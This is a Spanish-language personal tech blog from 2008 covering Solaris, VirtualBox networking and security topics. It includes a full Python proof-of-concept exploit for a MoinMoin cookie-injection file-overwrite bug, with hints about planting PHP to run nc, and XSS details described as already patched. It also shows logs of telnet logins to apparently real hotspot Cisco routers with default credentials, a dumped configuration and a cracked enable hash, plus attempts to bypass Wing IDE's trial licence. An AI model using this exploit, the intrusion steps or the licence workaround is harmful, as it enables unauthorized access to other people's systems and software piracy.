miércoles, 30 de enero de 2008

Check tool for Solaris

''' ENERO 30 '''



Me imagino que como yo alguien se preguntará si solaris corre en su maquina?.
Que hace uno si quiere saber si puede montar solaris y si solaris le reconocerá todos los perifericos y todo su hardware interno?.

En el sitio de solaris hay una herramienta llamada Solaris Express Installation Check Tool 1.2, esta herramienta es realmente un liveCD que carga una versión minima de solaris para hacer el chequeo de hardware correspondiente. Una vez hecho esto le da la facilidad al usuario de almacenar los resultados en una memoria USB.

Esta entrada en este blog es para decir que lo baje, lo probé y no funcionó, no porque no diagnostique nada, solo porque nunca cargó el liveCD.
Lo probe en 3 maquinas diferentes + un virtual y en ninguna funcionó.
Sin embargo en esas maquinas tengo corriendo solaris, esa es la parte rara.
Uno de los errores fue este:

SUN recomienda que antes de usar esta herramienta, visite el listado de compatibilidad de hardware, donde podrá verificar si su HW esta soportado.
Si no lo encuentra, entonces use esta herramienta para saber si hay drivers en solaris oficiales que soporten su HW o si puede llegar a ser soportado por drivers de terceros.

Mis tarjetas de red solo funcionan con drivers de terceros, pero eso ya era de suponerse, no son tarjetas de 10Gigas aprobadas por SUN, jeje.

bye.

sábado, 26 de enero de 2008

VirtualBox rulx

''' ENERO 26 '''

He probado varias aplicaciones de virtualizacion que permiten tener varios Sistemas Operativos corriendo en la misma maquina. Pero aún no habia trabajado con http://www.virtualbox.org/.

Segun la wikipedia:

"VirtualBox es un programa de virtualización creado por la empresa alemana de desarrollo de software InnoTek GmbH. El programa es comercial y propietario, si bien en enero de 2007, después de muchos años de desarrollo, se lanzó una versión limitada llamada VirtualBox OSE (Open Source Edition)[1] bajo licencia GPL."

Lo baje para debian, lo instale, instale luego el modulo especifico para la version del kernel para que pueda trabajar bien y me dedique hacer la prueba de montar 3 S.O. con los cuales hago pruebas continuamente (networking, prog., security, etc), la conclusion es que me ha funcionado muy bien.
tengo corriendo las 3 maquinas al mismo tiempo, conectadas a Internet y todo funciona de maravilla, no podria asegurar si sobre windows funciona igual, espero que si.

Algo que todos queremos hacer es que todos los sistemas operativos se vean entre si, si no, no hay chiste. La forma de hacerlo es como lo haciamos en Qemu, generando interfaces de mentiras para luego conectar las maquinas virtuales a esas interfaces.

Esas interfaces son mas conocidad como TAP o TUN si las creamos para trabajar en capa 2 o capa3 respectivamente.

Como solo tengo una interfaz de red lo que hago es crear un puente y asociar a este puente cada dispositivo TAP que cree, de esa forma todos se conectan virtualmente por la misma interfaz de red.

Despues de instalar los paquetes necesarios:

debian:~# dpkg -l | grep virtu
rc virtualbox 1.5.4-27034_Debian_etch innotek VirtualBox
ii virtualbox-ose 1.5.4-dfsg-4 PC virtualization solution
ii virtualbox-ose-guest-utils 1.5.2-dfsg2-7 PC virtualization solution - guest utils
ii virtualbox-ose-modules-2.6.22-3-k7 2.6.22+1.5.2-dfsg2-9 PC virtualization solution modules for Linux
ii virtualbox-ose-source 1.5.4-dfsg-4 Source for the VirtualBox module
debian:~#

(si no le instalan agregue a su sources.list estos:
deb http://www.virtualbox.org/debian gutsy non-free
deb http://www.virtualbox.org/debian feisty non-free
deb http://www.virtualbox.org/debian edgy non-free
deb http://www.virtualbox.org/debian dapper non-free
deb http://www.virtualbox.org/debian etch non-free
deb http://www.virtualbox.org/debian sarge non-free
deb http://www.virtualbox.org/debian xandros4.0-xn non-free
)

Ojo que el paquete de virtualbox del kernel, es para MI kernel, mire que version tiene usted.

Luego puede montar un servidor DHCP, o si ya tiene uno en la red a la que esta conectado, entonces no tendrá problemas.

y entonces cree las interfaces que necesita:

debian:~# cat /bin/tap
insmod /usr/src/modules/virtualbox-ose/vboxdrv.ko
tunctl -t tap1 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 eth0
dhclient br0
brctl addif br0 tap1
ifconfig tap1 up
tunctl -t tap2 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 tap2
ifconfig tap2 up
tunctl -t tap3 -u nando
brctl addbr br0
ifconfig eth0 0.0.0.0 promisc
brctl addif br0 tap3
ifconfig tap3 up

Eso carga el modulo de VirtualBox y crea las interfaces TAP.
debian:~# ifconfig
br0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05
inet addr:192.168.0.3 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:978622 errors:0 dropped:0 overruns:0 frame:0
TX packets:698648 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1306696888 (1.2 GiB) TX bytes:78816225 (75.1 MiB)

eth0 Link encap:Ethernet HWaddr 00:11:09:aa:8e:05
inet6 addr: fe80::211:9ff:feaa:8e05/64 Scope:Link
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:979067 errors:0 dropped:0 overruns:0 frame:0
TX packets:700312 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1320515471 (1.2 GiB) TX bytes:78982896 (75.3 MiB)
Interrupt:18 Base address:0xec00

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:60695 errors:0 dropped:0 overruns:0 frame:0
TX packets:60695 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5488487 (5.2 MiB) TX bytes:5488487 (5.2 MiB)

tap1 Link encap:Ethernet HWaddr 00:ff:79:1c:47:d1
inet6 addr: fe80::2ff:79ff:fe1c:47d1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:355 errors:0 dropped:0 overruns:0 frame:0
TX packets:941 errors:0 dropped:8670 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:46028 (44.9 KiB) TX bytes:314573 (307.2 KiB)

tap2 Link encap:Ethernet HWaddr 00:ff:23:31:53:33
inet6 addr: fe80::2ff:23ff:fe31:5333/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:826 errors:0 dropped:0 overruns:0 frame:0
TX packets:2629 errors:0 dropped:7299 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:65608 (64.0 KiB) TX bytes:714169 (697.4 KiB)

tap3 Link encap:Ethernet HWaddr 00:ff:95:34:65:97
inet6 addr: fe80::2ff:95ff:fe34:6597/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:266 errors:0 dropped:0 overruns:0 frame:0
TX packets:3010 errors:0 dropped:5071 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:35931 (35.0 KiB) TX bytes:700457 (684.0 KiB)

debian:~#

Con las interfaces creadas ya puedo usar el VirtualBox para crear nuevas maquinas, con la diferencia que en la parte de redes puedo hacer algo así:


Seleccionas la opcion de Interfaz anfitrión y luego en el nombre de la interfaz le pones tap1, tap2 o la que sea. el resto de parametros de red no los tienes que configurar.
Con esa información puedes iniciar la instalación de la maquina y en el camino seleccionas que se configure por DHCP y listo.
Cuando termines de instalar estaras en red.

Los sistemas que instale fueron:
  1. Solaris-Expresssss 10/11
  2. OpenBSD4.2-Release
  3. WindowsXP-SP2

El mas lento para instalar, obviamente Solaris, con 6 CD's. Pero una vez instalado funciona correctamente con el CDE y el JavaDesktop.

#OFFTOPIC:

Lo próximo es probar algo como:
http://www.sun.com/software/products/xvm/index.jsp

#FIN OFFTOPIC

Porqué instalar VirtualBox?
  • Es OpenSource
  • Permite huespedes como Solaris, OpenBSD, NetBSD y FreeBSD, fuera de los WIndows
  • Se maneja desde una interfaz gráfica en español con mucha usabilidad
  • Es funcional, rápida, permite pausar, continuar, sacar screenshots organizados
  • Corre en diferentes plataformas
  • Soporta lo que hace Qemu, discos virtuales dinamicos por ejemplo
  • etc.
Prueben, con esas 3 maquinas ajusto 7 sistemas en red para "jugar".

¿ Default passwords OR honeypot ?

''' ENERO 26 '''

Siempre se ha dicho que las claves por defecto pueden ser peligrosas, obviamete si alguien quiere abusar de ellas.

Alguien anonimo me escribio y me mostro esto, nunca supe quien fue, no se que significa y no entiendo las implicaciones del caso. Lo unico que el me dice es que no hay que preocuparse tanto por la infraestructura en sí, que hay que preocuparse por los usuarios de esa red y los ataques de hombre en medio.
Pense acerca de eso y llegue a la conclusion de que es verdad, a muchas compañias fuera de su propia seguridad, le deberia interesar la seguridad de la informacion de sus usuarios.

ideas off topic:

Los hotspots, estaran de moda mucho mas tiempo, los filtros para que solo accedan usuarios validos son vulnerables, las restricciones basicas estan mandadas a recoger, JUNTAR redes administrativas y publicas en HOtspots vuelve el asunto mas HOT.

En resumen:
Cuando se conecte a un HotspoT, por favor verifique que efectivamente sÍ esta navegando a traves del HotspoT y no por medio de alguien mas que estará seguramente capturando sus cookies, sus sesiones, sus claves, sus charlas de MSN, sus charlas de GTALK, AIM, AOL, ICQ, JABBER.

En resumen2:
Nunca podra saber si esta navegando a traves del HotspoT o por medio de alguien, lo siento, el resumen lo cambio a:
Si esta en un HotspoT, no haga cosas importantes, como por ejemplo hablar de usted, decir lo que piensa, hacer citas, describirse, opinar en foros, chats, esto le permitirá a ese usuario perfiilarlo y con eso encontrar sus claves. Lo peor es que siempre podrá encontrar sus claves así las cambie, porque ya lo conoce.


En una ciudad (es peor?):

debian:/# telnet 192.168.1.252
Trying 192.168.1.252...
Connected to 192.168.1.252.
Escape character is '^]'.


User Access Verification

Password:
Router_NAT_Puente_Aereo>enable
Password:
Router_NAT_Puente_Aereo#

then ...

cocolizo@debian:~$ smbclient -L 192.168.1.25
Password:
Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
print$ Disk Printer Drivers
SharedDocs Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
session request to 192.168.1.25 failed (Called name not present)
session request to 192 failed (Called name not present)
Domain=[GERENCIA] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------
perezgil@debian:~$

then ...

debian:/# nmap 192.168.1.252

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:18 COT
Interesting ports on 192.168.1.252:
Not shown: 1679 closed ports
PORT STATE SERVICE
23/tcp open telnet
MAC Address: 00:04:DD:0C:BD:F3 (Cisco Systems)

Nmap finished: 1 IP address (1 host up) scanned in 8.335 seconds
debian:/home/testing/Desktop/nmbscan-1.2.4# nmap 192.168.1.253

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-11-16 06:19 COT
Interesting ports on 192.168.1.253:
Not shown: 1678 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
MAC Address: 00:0A:41:23:AC:00 (Cisco Systems)

Nmap finished: 1 IP address (1 host up) scanned in 9.633 seconds
debian:/#

then ...

debian:/home/police/portatil# cat log4
Router_NAT_Puente_Aereo#show running-config
Building configuration...

Current configuration : 1458 bytes
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Router_NAT_Puente_Aereo
!
logging buffered 51200 warnings
enable secret 5 $1$e.68$du0SEpfijiA228uacanXU1
!
memory-size iomem 15
clock timezone BOGOTA -5
ip subnet-zero
!
!
ip name-server 200.13.249.101
ip name-server 200.75.78.78
ip dhcp excluded-address 192.168.1.1 192.168.1.11
!
ip dhcp pool pteaereo
network 192.168.1.0 255.255.255.0
dns-server 200.13.249.101 200.75.78.78
default-router 192.168.1.252
lease 0 0 30
!
ip dhcp-server 192.168.254.252
!
!
interface Ethernet0/0
description Conexion al Switch LAN WiFi
ip address 192.168.1.252 255.255.255.0
ip nat inside
load-interval 30
half-duplex
no cdp enable
hold-queue 100 out
!
interface FastEthernet0/0
description Conexion Back-to-back al CPE
ip address 201.232.227.234 255.255.255.248
ip nat outside
load-interval 30
speed auto
no cdp enable
hold-queue 100 out
!
ip nat translation max-entries 3000
ip nat pool pteaereo 201.232.227.235 201.232.227.237 netmask 255.255.255.248
ip nat inside source list 1 pool pteaereo overload
ip classless
ip route 0.0.0.0 0.0.0.0 201.232.227.233
no ip http server
ip pim bidir-enable
!
access-list 1 permit 192.168.1.0 0.0.0.255
no cdp run
!
call rsvp-sync
!
!
mgcp profile default
!
dial-peer cor custom
!
!
!
!
line con 0
line aux 0
line vty 0 4
password cisco
login
!
no scheduler allocate
end

Router_NAT_Puente_Aereo#

then ...

just for checking, i know what it is.

debian:/home/john/john-1.7.2/run# cat ../../pass
root:$1$e.68$du0SEpfijiA228uacanXU1::::::::
debian:/home/john/portatil/john-1.7.2/run# ./john ../../pass
Loaded 1 password hash (FreeBSD MD5 [32/32])
cisco (root)
guesses: 1 time: 0:00:00:57 (3) c/s: 3165 trying: cisco
debian:/home/john/portatil/john-1.7.2/run# cat ./john.pot
$1$e.68$du0SEpfijiA228uacanXU1:cisco
debian:/home/john/portatil/john-1.7.2/run#


En otra ciudad (es mejor?):

debian:/home/scanner/portatil# cat nothing.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.

Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: M
Enter password: ******

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

WARNING: Too many failed logon attempts.

debian:/home/babysister/portatil# cat ohyeah.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.

Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: M
Enter password: ******

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

Enter password:

Incorrect password

WARNING: Too many failed logon attempts.

debian:/home/fisher/portatil# cat Slog.txt
Trying 192.168.10.14...
Connected to 192.168.10.14.
Escape character is '^]'.


Catalyst 1900 Management Console
Copyright (c) Cisco Systems, Inc. 1993-1998
All rights reserved.
Enterprise Edition Software
Ethernet Address: 00-D0-C0-6D-CE-00

PCA Number: 73-3122-03
PCA Serial Number: FAB03183C6N
Model Number: WS-C1912-EN
System Serial Number: FAB0320T02R
Power Supply S/N: PHI031600M2
Power Supply P/N:
PCB Serial Number: FAB03183C6N,73-3122-03
-------------------------------------------------

1 user(s) now active on Management Console.

User Interface Menu

[M] Menus
[K] Command Line

Enter Selection: K


CLI session with the switch is open.
To end the CLI session, enter [Exit].

sw>show version
Cisco Catalyst 1900/2820 Enterprise Edition Software
Version V8.01.00
Copyright (c) Cisco Systems, Inc. 1993-1998
sw uptime is 11day(s) 03hour(s) 54minute(s) 49second(s)
cisco Catalyst 1900 (486sxl) processor with 2048K/1024K bytes of memory
Hardware board revision is 5
Upgrade Status: No upgrade currently in progress.
Config File Status: No configuration upload/download is in progress
15 Fixed Ethernet/IEEE 802.3 interface(s)
Base Ethernet Address: 00-D0-C0-6D-CE-00
sw>?
Exec commands:
enable Turn on privileged commands
exit Exit from the EXEC
help Description of the interactive help system
ping Send echo messages
session Tunnel to module
show Show running system information
terminal Set terminal line parameters
sw>
sw>exit

CLI session with the switch is now closed.

Press any key to continue.

SCSA for SOLARIS 10 O.S.

miércoles, 23 de enero de 2008

more XSS on MoinMoin

''' ENERO 23 '''

Bueno, se encontraron varios bugs de XSS, todo se solucionó filtrando la salida de mensajes de error. Para los programadores: es muy simple, solo fiiltren adecuadamente la salida de las variables que pueden contener datos adicionados por los usuarios nonroots y no tendran problemas.
;)

pd: Thomas Waldmann, es una persona bastante diligente ;)

Ojalá y todos los proyectos de SL respondieran con esa misma rapidez.

Los otros parches los pueden ver en:

http://hg.moinmo.in/moin/1.5/rev/db212dfc58ef

lunes, 21 de enero de 2008

Exploit code for MOIN_ID bug


'''ENERO 21''' 23:54

Remember, just for test, just for knowledge, it's a PoC.


#

#!/usr/bin/python
#
#Exploit for the MOIND_ID cookie Bug
# MoinMoin 1.5.x
#
#Find your patch in : http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630
#
#Bug and exploit coded by just a nonroot and colombian user
#
#Enero 21 de 2008
#
#Greets: el directorio and all the SL community
#
#
import urllib2,sys
print "MoinMoin host: i.e: http://127.0.0.1:8000/"
host=raw_input("MoinMoin host ( include http and /): ")
#info for the new user
#
#user for the test
user='nonroot'
#password for the test
password='nonrootuser'
#email for the test
email='just@nonrootuser.co'
#file to overwrite
#by default this file is there, is there?
archivo='README'
#######
#
req = urllib2.Request(host)
adddata="action=userform&name="+user+"&aliasname=ilikecolombianpeople&password="+password+"&password2="+password+"&email="+email+"&css_url=&edit_rows=20&theme_name=modern&editor_default=text&editor_ui=freechoice&tz_offset=0&datetime_fmt=&language=&remember_me=1&show_fancy_diff=1&show_toolbar=1&show_page_trail=1&quicklinks=podriamos-insertar-codigo-php-aqui-verdad-que-si&save=Save"
headers={'Cookie':'MOIN_ID='+archivo}
req = urllib2.Request(host+"UserPreferences/",adddata,headers)
try:
r = urllib2.urlopen(req)
data=r.read()
except urllib2.HTTPError:
print "Wait a minute, is posible that the file: "+archivo+" doesn't have permission to write, think well, and try again"
sys.exit(2)
print "Ok, the file: "+archivo+" was created, and you can logging setting the cookie MOIN_ID='"+archivo+"'"+" in your browser."
sys.exit(0)

Download it: http://www.milw0rm.com/exploits/4957

Cookie Injection bug for MoinMoin

''' ENERO 21 ''', MOIN_ID bug moinmoin (2/4 )


Encontre un bug bastante interesante de explotar, en pocas palabras permite que se sobre-escriba un archivo que este dentro del sistema y al cual pueda acceder el usuario que corre MoinMoin, casi siempre ese usuario es el servidor WEB, dependiendo de como este configurado el sistema esto puede ser mas o menos peligroso.

Si por ejemplo el MoinMoin corre como usuario www-data, entonces todo el sitio web estaria comprometido, por ejemplo acceder a la configuracion de moinmoin y borrarla, borrar el mismo demonio moinmoin (moin.py), o algun archivo .php, que uno identifique.

Ojo que esto sobreescribe el archivo, asi que lo daña, pero se puede lograr insetar codigo PHP, por ejemplo un simple script
lo que lograria ejecutar comandos remotos en el sistema, como por ejemplo el comando "nc", que me permite escuchar en un puerto para luego acceder por telnet, o mejor dicho lo que la imaginacion le permita hacer.

Si en cambio el MoinMoin corriera como root, todo seria mucho peor (que tal un /etc/shadow?).

Recuerden que la informacion publicada es con fines academicos, confio en tu buena voluntad.

{{{
********************************************************************************************
********************************************************************************************

Software: MoinMoin v. 1.5.x and v. 1.6.0 (http://moinmoin.wikiwikiweb.de/)

MoinMoin is an advanced, easy to use and extensible WikiEngine with a large
community of users. Said in a few words, it is about collaboration on easily editable web pages.
MoinMoin is Free Software licensed under the GPL.

(moinmoin actually is on 1.6.0 stable, so USE IT!)

Author: a nonroot colombian user

Vuln Type: Cookie Injection (MOIN_ID), input validation error

Date: people of moinmoin was informed 3 days ago, there exist a patch for this bug
(http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630)

tested on debian unstable, the moinmoin of debian is so old, where are the maintainer?
tested on moinmoin running like standalone

********************************************************************************************
********************************************************************************************
}}}

Si leen el parche se pueden dar cuenta del filtrado que le agregaron a la cookie MOIN_ID, esa es la cookie vulnerable en cuestion.

En la rama 1.6.x de MoinMoin han cambiado todo el sistema de autenticacion, metiendole "hash" y todo el cuento, por lo tanto este bug ya no aplica.


El parche lo pueden encontrar en:
http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630

Eso es todo, MoinMoin rulx.

XSS bug for MoinMoin


''' ENERO 21 '''


Me dio por revizar un poco el codigo de moinmoin, ya que el-directorio esta montado sobre este y yo tengo un wiki de estos instalado en el trabajo.

MoinMoin esta en la version 1.6.0 estable, asi que pilas con todas las versiones 1.5.x.

Hablando con el desarrollador me dijo que pronto sacara la version 1.5.9 para dejar la 1.5.8, en cuanto se parchen los ultimos bugs reportados.

Debian inestable esta en la version :

debian:~# dpkg -l | grep moinmoin
ii moinmoin-common 1.5.8-5 Python clone of WikiWiki - common data
ii python-moinmoin 1.5.8-5 Python clone of WikiWiki - library
debian:~#

Donde esta el maintainer?

aqui fue donde hice las pruebas.

El bug es un XSS y aplica hasta la ultima version de MoinMoin estable, lo raro del asunto es que esta en la entrada principal y hasta ahora nadie lo habia visto. Entre mas comun sea el archivo a explotar con XSS, mayor es la posibilidad de tener exito. Imaginense a todo el mundo redireccionado a loguearse al wiki, pero realmente estarian entregando sus cookies al servidor atacante (no entendio?, lea mas sobre XSS).

{{{
********************************************************************************************
********************************************************************************************

Software: MoinMoin v. 1.5.x and v. 1.6.0 (http://moinmoin.wikiwikiweb.de/)

MoinMoin is an advanced, easy to use and extensible WikiEngine with a large
community of users. Said in a few words, it is about collaboration on easily editable web pages.
MoinMoin is Free Software licensed under the GPL.

(moinmoin actually is on 1.6.0 stable, so USE IT!)

Author: a nonroot colombian user

Vuln Type: XSS

Date: people of moinmoin was informed 3 days ago, there exist a patch for this bug
(http://hg.moinmo.in/moin/1.5/rev/2f952fa361c7)

tested on debian unstable, the moinmoin of debian is so old, where are the maintainer?
tested on moinmoin running like standalone

********************************************************************************************
********************************************************************************************
}}}

La parte vulnerable -> en el archivo login.py, lineas 43 y 48

{{{
...
39 name = form.get('name', [''])[0]
40 if not user.isValidName(request, name):
41 error = _("""Invalid user name {{{'%s'}}}.
42 Name may contain any Unicode alpha numeric character, with optional one
43 space between words. Group page name is not allowed.""") % name
44
45 # Check that user exists
46 elif not user.getUserId(request, name):
47 error = _('Unknown user name: {{{"%s"}}}. Please enter'
48 ' user name and password.') % name
49
...
}}}

El bug ya fue confirmado y parchado: http://hg.moinmo.in/moin/1.5/rev/2f952fa361c7

pd: se me olvidaba decir que moinmoin esta programado en python.

jueves, 17 de enero de 2008

¿ cracking wing ?

it's just a question!

''' ENERO 18 ''', madrugada como casi siempre


Despues de leerme el manual del wing y aprender un poco a usar el IDE, me dió rabia ver que cada vez que lo abria aparecia un mensaje diciendome cuantos días me faltaban para que el win se cerrara, pues claro, baje una version trial del sitio:
http://wingware.com/downloads

segun mis amigos de wing esta es una aplicacion completamente funcional, pero trial por 10 dias, pasados los 10 dias uno puede pedir un poquito mas de tiempo y pasados otros 10 dias otro poquito mas.
En total puede trabajar con la herramienta 30 dias antes de que caduque la licencia.

La licencia se puede activar de muchas formas:

  • manual (metiendo el codigo)
  • por internet (automagicamente)
  • con el numero de licencia y otro codigo desde un sitio web
Eso significa que esas son las posibles formas de "atacar" la licencia ...

Cuando se le vence a uno la licencia pasa esto:
Bueno, despues de ese tiempo uno puede entrar, pero siempre aparece el mismo mensaje (el desesperador), ese desespero es el que lo lleva a uno a pagar las licencias.

me puse a leer sobre la licencia de win (wingware) y en ningun lado dice que es opensource o software libre, lo que dicen es que si lo pagas te pueden dar las fuentes y que el uso del software es NO COMERCIAL.

En fin, este programa es bastante bueno, pero yo estaba era buscando la forma de "crackear", "reversar" esa aplicacion.

abri el IDE y con el mismo intente debugguear el mismo codigo de wing. Esta escrito en python, pero cuando llega a la parte interesante (la de la licencia), encuentro que se cargan unos *.pyo, como quien dice codigos objetos que no puedo leer directamente (e indirectamente tampoco), esta tecnica la he visto en muchas aplicaciones de codigo interpretado, donde se programan scripts y luego se le pasa algun software que genere codigo objeto y que no se pueda leer ni desensamblar.
Lo he visto en scripts de PHP, BASH, KSH, TCL y ahora en PYTHON, no es algo nuevo es la forma que tienen muchos para ocultar el codigo de lo que hacen.

Pero a la vez que aparecen los que esconden, aparecen los que muestran, entonces una posibilidad era intentar desensamblar los archivos *.pyo y tratar de encontrar los *.py originales, para leerlos, entender las rutinas y lograr sacar algun key-gen para la aplicacion. Pero yo no se nada de eso y lo unico que necesitaba era que la ventana de la licencia no abriera cada vez que iniciaba el
programa, entonces ...

0. si alguna vez has reversado algo, has hecho cracking, debes probar lo primero que se te ocurre, que es?
que es?, que es?
cambiar la fecha y mirar que pasa, al parecer el wing se basa en la fecha del sistema que la saca por el modulo "os", entonces podemos cambiar la fecha de nuestro pc para que nunca llegue el tiempo donde caduca la licencia.
PERO, de todos modos la ventana seguira apareciendo diciendonos:
le faltan tantos días para morir ...


1. En debian puedo hacer un :
#apt-get install decompyle
pero solo reversa codigo de python 2.3 y 2.4 y wing esta en 2.5

2. puedo encontrar que wing tiene su propio analizador (piensa en el como su propio python ejecutable) que se encarga de ejecutar los .pyo, asi que si logro cargar los .pyo con este programa, podria intentar debugear el software ya que esta como binario de linux.
pero ...
tengo mucha pereza, la idea es solo quitar la ventana de licencia.

{{{
debian:~# cd /usr/lib/wingide3.0/bin/
debian:/usr/lib/wingide3.0/bin# ls
1.5 2.1 2.3 2.5 _patchsupport.py wingapi.py wingdb.py
2.0 2.2 2.4 gtk-bin PyCore wingapi.pyo wing.py
debian:/usr/lib/wingide3.0/bin# ls -la PyCore/python
-rwxr-xr-x 1 root root 1111760 2008-01-12 09:12 PyCore/python
debian:/usr/lib/wingide3.0/bin# file PyCore/python
PyCore/python: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
debian:/usr/lib/wingide3.0/bin# ./PyCore/python -ESO wing.py
}}}

o puedo intentar con gdb (es lo mas logico, pero lo mas largo)

{{{
debian:/usr/lib/wingide3.0/bin# gdb ./PyCore/python
GNU gdb 6.7.1-debian
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x8056356
(gdb) r -ESO wing.py
Starting program: /usr/lib/wingide3.0/bin/PyCore/python -ESO wing.py
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[New Thread 0xa7dad6b0 (LWP 11911)]
[Switching to Thread 0xa7dad6b0 (LWP 11911)]

Breakpoint 1, 0x08056356 in main ()
(gdb)
}}}
y empezar desde ahi a desensamblar cada cosa que lea el python desde l .pyo

3. puedo deducir cosas del archivo que si se puede leer, wing.py, e intentar cambiar valores en las variables.

{{{
debian:/usr/lib/wingide3.0/bin# ls -lah wing.py
-rwxr-xr-x 1 root root 17K 2008-01-12 04:06 wing.py
debian:/usr/lib/wingide3.0/bin# file wing.py
wing.py: a python script text executable
debian:/usr/lib/wingide3.0/bin#
}}}


4. puedo llevar los .pyo a este sitio:
http://www.depython.net/
he intentar que me desensamblen los archivos, pero el problema es que es gratis solo para archivos de hasta 5K, asi que grave, el unico archivo que se puede meter allá es el main.pyo (el principal).
Bueno yo lo hice, solo como pruebas academicas obviamente.
El resultado es un archivo .py en texto plano que me permite entender como funciona el wing y como carga la interfaz y el mecanismo de la licencia ...
pero para poder llegar a algo contundente necesitaria otro archivo mas llamado singleton (investigue para saber mas) y ese si no se puede meter porque pesa mas de 5K.

5. puedo codearme mi propio desensamblador, pero tengo mucho sueño y solo quiero quitar la ventana.

6. puedo pagarle a la gente de:
http://www.crazy-compilers.com/decompyle/service.html
que prometen devolverme todo el codigo, pero yo solo quiero quitar la ventana de la licencia al inicio.

7. puedo hackear alguno de esos sitios y robarles los scripts que tienen para desensamblar, pero eso es muy feo y es ilegal.

8. puedo hacer muchas cosas, pero lo mas sencillo es mirar lo que instala el wing, y nos damos cuenta que la informacion de la instalacion (los settings) estan en el HOME del usuario que usa el wing, por lo tanto puedo revizar haber con que me encuentro.

{{{
nando@debian:~$ ls -la .wingide3/
total 177
drwx------ 6 nando nando 824 2008-02-10 00:33 .
drwxr-xr-x 65 nando nando 4256 2008-02-10 00:33 ..
-rw-r--r-- 1 nando nando 24 2008-01-17 17:57 accepted_eula_3.0.3
drwxr-xr-x 3 nando nando 160 2008-02-10 00:33 cache
-rw-r--r-- 1 nando nando 6865 2008-02-10 00:33 default.wpr
-rw-r--r-- 1 nando nando 88823 2008-02-10 00:56 error-log
-rw-r--r-- 1 nando nando 126 2008-01-17 17:57 gtkrc
-rw------- 1 nando nando 22 2008-02-10 00:33 instance
-rw-r--r-- 1 nando nando 15 2008-02-10 00:33 last-python
-rw-r--r-- 1 nando nando 11 2008-02-10 00:26 last-update-check
-r-------- 1 nando nando 601 2008-01-18 00:24 license.act
-r-------- 1 nando nando 584 2008-01-29 00:25 license.act1
-r-------- 1 nando nando 549 2008-01-17 17:58 license.pending
-r-------- 1 nando nando 545 2008-01-29 00:25 license.pending1
-r-------- 1 nando nando 545 2008-02-10 00:27 license.pending2
drwxr-xr-x 3 nando nando 72 2008-01-17 18:22 pi-cache
-rw-r--r-- 1 nando nando 94 2008-02-10 00:33 preferences
-rw-r--r-- 1 nando nando 320 2008-02-10 00:33 recent-cmd
-rw-r--r-- 1 nando nando 22 2008-02-10 00:33 recent-debug
